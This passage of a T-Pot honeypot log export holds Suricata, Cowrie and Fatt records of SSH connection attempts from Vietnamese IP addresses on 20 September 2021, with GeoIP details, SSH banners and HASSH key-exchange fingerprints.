"dest_ip": "192.168.20.116", "flow_id": 173035295441076, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 34950, "dest_port": 22, "timestamp": "2021-09-20T11:06:58.044437Z", "@timestamp": "2021-09-20T11:06:58.044Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22470	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:06:58.490364+03	2021-09-20 14:15:06.25647+03	{"_id": "BwbjAnwBvYTbRNuEPAVL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1296248700050132, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58974, "dest_port": 22, "timestamp": "2021-09-20T11:06:58.490364Z", "@timestamp": "2021-09-20T11:06:58.490Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22471	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:06:58.824134+03	2021-09-20 14:15:06.25847+03	{"_id": "CAbjAnwBvYTbRNuEPAVL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 479824809408273, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34912, "dest_port": 22, "timestamp": "2021-09-20T11:06:58.824134Z", "@timestamp": "2021-09-20T11:06:58.824Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22472	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:58.28096+03	2021-09-20 14:15:06.259471+03	{"_id": "CgbjAnwBvYTbRNuEPQVk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:52738 (192.168.176.2:22) [session: bb6ee8128784]", "session": "bb6ee8128784", "@version": "1", "protocol": "ssh", "src_port": 52738, "dest_port": 22, "timestamp": "2021-09-20T11:06:58.280960Z", "@timestamp": "2021-09-20T11:06:58.280Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22473	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:58.044513+03	2021-09-20 14:15:06.260471+03	{"_id": "CwbjAnwBvYTbRNuEPQVk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 34950, "dest_port": 22, "timestamp": "2021-09-20T11:06:58.044513", "@timestamp": "2021-09-20T11:06:58.044Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
22474	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:58.044592+03	2021-09-20 14:15:06.261471+03	{"_id": "DAbjAnwBvYTbRNuEPQVk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34950, "timestamp": "2021-09-20T11:06:58.044592", "@timestamp": "2021-09-20T11:06:58.044Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22475	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:58.059902+03	2021-09-20 14:15:06.263471+03	{"_id": "DQbjAnwBvYTbRNuEPQVk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35088, "timestamp": "2021-09-20T11:06:58.059902", "@timestamp": "2021-09-20T11:06:58.059Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22476	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:58.060003+03	2021-09-20 14:15:06.26447+03	{"_id": "DgbjAnwBvYTbRNuEPQVk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 35088, "dest_port": 22, "timestamp": "2021-09-20T11:06:58.060003", "@timestamp": "2021-09-20T11:06:58.060Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
22477	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:58.070903+03	2021-09-20 14:15:06.26547+03	{"_id": "DwbjAnwBvYTbRNuEPQVk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38348, "timestamp": "2021-09-20T11:06:58.070903", "@timestamp": "2021-09-20T11:06:58.070Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22478	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:58.111959+03	2021-09-20 14:15:06.26647+03	{"_id": "EAbjAnwBvYTbRNuEPQVk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39164, "timestamp": "2021-09-20T11:06:58.111959", "@timestamp": "2021-09-20T11:06:58.111Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22479	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:58.117637+03	2021-09-20 14:15:06.26747+03	{"_id": "EQbjAnwBvYTbRNuEPQVk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm